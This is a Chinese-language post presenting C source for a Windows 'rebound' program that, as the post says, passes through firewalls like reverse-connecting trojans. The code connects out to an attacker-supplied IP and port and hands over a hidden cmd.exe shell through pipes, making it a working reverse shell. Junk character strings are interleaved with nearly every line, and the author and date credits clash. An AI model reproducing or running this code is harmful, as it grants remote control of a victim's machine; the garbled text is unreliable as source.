这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /oWn0
#}8l9[Q|M
/* ============================== 2+2Gl7" s
Rebound port in Windows NT bI_6';hq!
By wind,2006/7 DxFmsjX[L
===============================*/ S^Lu RF]F
#include rW8.bMmM
#include *Va ;ra(V2
=Ts3O0"[
#pragma comment(lib,"wsock32.lib")
xe~lV
.9cQq/{b
void OutputShell(); x?aNK$A~X
SOCKET sClient; ~6)A/]6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Mx3MNX/
7O=N78M
void main(int argc,char **argv) GV+K]
KDI
{ -|"[S"e
WSADATA stWsaData; y.O%
int nRet; m>H+noc^
SOCKADDR_IN stSaiClient,stSaiServer;
?)_?YLi
*[P"2b#
if(argc != 3) g[NmVY-o
{ 8zMt&5jD
printf("Useage:\n\rRebound DestIP DestPort\n"); +PlA#DZu
return;
$:7T
} e;*GbXd|
,v#F6xv8
WSAStartup(MAKEWORD(2,2),&stWsaData); X\-IAv
[{i"Au]
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1&,d,<
u\jQe@j
'
stSaiClient.sin_family = AF_INET; iOFp 9i=j
stSaiClient.sin_port = htons(0); k3HPY}-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pQ_EJX)
/tG0"1{
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o#D;H[' A
{ Mx7
printf("Bind Socket Failed!\n"); EO_:C9=d{
return; -KuC31s_W
} D<16m<b
,esryFRG
stSaiServer.sin_family = AF_INET; K4G43P5q`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kE8\\}B7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2ncD,@ij
d7f{2
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #cnh
~O
{ ($h`Y;4
printf("Connect Error!"); 2@A%;f0Q
return; gPW% *|D,
} u6B,V
OutputShell(); o4^|n1vN
} )V6Bzn}9
+2KYtyI
void OutputShell() 2`Ojw_$W7
{ =ObI
char szBuff[1024]; 3Uy4 8ue
SECURITY_ATTRIBUTES stSecurityAttributes; 1 +0-VRl
OSVERSIONINFO stOsversionInfo; >8*0"Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U
'$W$()p
STARTUPINFO stStartupInfo; HGwSsoS
char *szShell; Q{:5gh
PROCESS_INFORMATION stProcessInformation; c*k%r2'
unsigned long lBytesRead; ;v*J:Mn/=
(}#8$ )
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S`\03(zDA
I1a>w=x!+
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XK";-7TZt
stSecurityAttributes.lpSecurityDescriptor = 0; =o!1}'1 }}
stSecurityAttributes.bInheritHandle = TRUE; Q[wTV3d
x A&RMu&
@MoBR.
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P<tHqN!q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1GaM!OC 9
YLx4qE
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lWR".
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |+aUy^
stStartupInfo.wShowWindow = SW_HIDE; -](NMRqfN
stStartupInfo.hStdInput = hReadPipe; C'wRF90
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Sb/`a~q^
xa=Lu?t%<
GetVersionEx(&stOsversionInfo); a7?)x])e
x @a3STKT
switch(stOsversionInfo.dwPlatformId) ]SO-NR
{ G0izZWc
case 1: ?_@_NV MY
szShell = "command.com"; BM
vGw
break; z>6hK:27
default:
4GN
szShell = "cmd.exe"; \Fs+H,S<
break; ld7B!_b<
} pkKcTY1Fx
O-=~Bn
_
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C)a;zU;9
cm'`u&S
send(sClient,szMsg,77,0); 1Mtm?3Pt
while(1) GBvgVX<
{ ROWI.|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UA8*8%v
if(lBytesRead) ,(@J Ntx
{ vg"$&YX9"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Zw`9B
send(sClient,szBuff,lBytesRead,0); *6`};ASK
} BKV,V/*p
else (*K=&e0O
{ it#,5#Y:
lBytesRead=recv(sClient,szBuff,1024,0); \ ";^nk*
if(lBytesRead<=0) break; 9*<=K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V#P`FX
} eVetG,["
} D^30R*gV
Qf
.ASC
return; yU{Q`6u T
}